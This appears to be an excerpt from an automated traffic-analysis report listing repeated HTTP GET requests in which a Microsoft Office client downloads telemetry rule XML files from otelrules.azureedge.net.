Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
